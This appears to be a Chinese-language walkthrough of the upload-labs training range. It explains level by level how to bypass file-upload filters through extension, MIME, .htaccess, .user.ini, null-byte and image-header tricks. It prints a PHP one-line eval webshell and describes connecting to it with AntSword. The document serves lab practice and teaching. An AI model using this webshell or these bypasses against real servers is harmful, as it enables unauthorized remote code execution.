靶场搭建
参考官方即可:
upload-labs靶场下载地址:https://github.com/c0ny1/upload-labs
文件上传漏洞的条件
1、可以绕过目标服务器的检测,成功上传。
2、可以获取到木马文件的存储路径,存储路程具备可执行权限。
判断上传漏洞类型
pass-1(JS代码绕过)
准备一个webshell.php脚本文件, 是一个简单的一句话木马
<?php @eval($_POST[c]);?>
将脚本文件上传, 结果直接被网站拦截掉了
第一种方法:
第一就是将浏览器js代码禁用掉,右键---检查---调试器---设置---禁用JavaScript。
上传webshell文件。
鼠标右键查看该图像的地址, 即为webshell的网页路径. 例如此处上传的webshell路径为http://10.211.55.5/upload-labs-master/upload/webshell.php
打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
第二种方法是用bp抓包工具直接将改后缀名
将webshell.php文件的后缀改为webshell.jpg上传。
将webshell.jpg后缀改回webshell.php,成功上传。
打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-2(MIME类型绕过)
此关卡是通过对上传的文件类型进行检验, 若文件类型不为image/jpeg
, 则上传失败, 只需抓包修改Content-type字段的值为image/jpeg
即可绕过限制。
使用burpsuite抓取上传webshell.php的数据包, 将Content-Type字段的值修改成image/jpeg
打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-3(上传可解析后缀)
此关卡的黑名单只有asp、aspx、php、jsp, 并没有限制php3, php5这些后缀
需要在phpstudy的http.conf文件添加一行:AddType application/x-httpd-php .php .phtml .php5
目的是为了让网站能够解析后缀为php5文件, 然后重启phpstudy
上传webshell.php,上传失败。
使用burpsuite抓取上传webshell.php的数据包, 将后缀改成php3、php4、php5、phtml、pht试一下
webshell.php-->webshell.phtml 成功上传。
打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-4(上传.htaccess)
当php版本高于5.2.17时,.htaccess
文件上传漏洞就不再存在。
上传.htaccess文件,文件内容如下:
AddType application/x-httpd-php .jpg .txt
随后上传webshell.jpg, 文件内容如下:
<?php @eval($_POST[C]);?>
上传成功后查看文件路径, 可以发现网站使用php解析了webshell.jpg里的内容。
打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-5(后缀添加. .
)/pass-5(.user.ini绕过)
php5.2.17
burpsuite抓取上传文件的数据包, 将文件名称修改成webshell.php. .
, 随后文件上传成功
打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
php7.3.4
上传.user.ini文件
auto_prepend_file=webshell.jpg
上传webshell.jpg
打开蚁剑,访问readme.php文件,输入webshell.jpg的密码,测试连接,显示连接成功。
pass-6(后缀大小写)
此关卡去除了大小写转换函数, 也就是说可以通过构造大小后缀来绕过限制, 例如Php,PHP这种后缀
上传webshell.php并抓包, 修改文件名为webshell.Php
上传成功后访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-7(空格绕过)
此关卡去除了删除末尾空格的函数, 这样我们可以在文件后缀末尾添加空格来实现绕过
抓取上传文件的数据包, 修改文件名称, 在文件后缀末尾后面添加空格
上传成功后访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-8(后缀添加.
)
抓包修改文件名为webshell.php.
webshell.php-->webshell.php.
上传成功后访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-9(::$data
绕过)
上传文件并抓包, 在文件后缀末尾添加字符串::$data
webshell.php-->webshell.php::$data
上传成功后,去掉后缀::$data访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-10(后缀添加. .
)
抓包修改文件名称为webshell.php. .
webshell.php-->webshell.php. .
上传成功后,访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-11(双写后缀绕过)
抓包修改文件后缀为pphphp
webshell.php-->webshell.pphphp
上传成功后,访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-12(%00截断绕过)
上传webshell.php文件, 抓包修改文件名称为webshell.jpg
, 修改save-path参数为../upload/webshell.php%00
上传成功后,去掉后缀/2620240419224556.jpg访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-13(%00截断绕过)
抓包修改post请求数据为../upload/webshell.php%00
, 并对%00
进行url解码
下图是%00
解码后的结果, 是一个肉眼看不到的空字符, 随后还需将文件名修改成webshell.jpg
上传成功后,去掉后缀/3720240419225139.jpg访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。
pass-14(图片马)
在文件内容前面添加字符串"GIF89A"(这是gif格式的文件头), 并将文件后缀修改成jpg
随后上传文件配合文件包含漏洞解析脚本
pass-15(图片马之getimagesize函数)
getimagesize()
函数返回一个数组,数组的第三个元素是图像的类型, 而该函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部, 我们只需将头部内容修改成图片文件的头部, 例如添加文件头GIF89A, 就可以绕过此机制
在文件内容前面添加字符串"GIF89A"(这是gif格式的文件头), 并将文件后缀修改成jpg
随后上传文件配合文件包含漏洞解析脚本
pass -16(图片马之exif_imagetype函数)
此关卡需要开启php_exif模块, 需要修改php.ini配置文件去开启它
使用exif_imagetype()
函数来识别文件类型, 此函数和getimagesize()
的原理差不多, 都是通过读取文件头来判断文件类型
正常上传一张jpg图片,抓包加入一句话木马。
随后上传文件配合文件包含漏洞解析脚本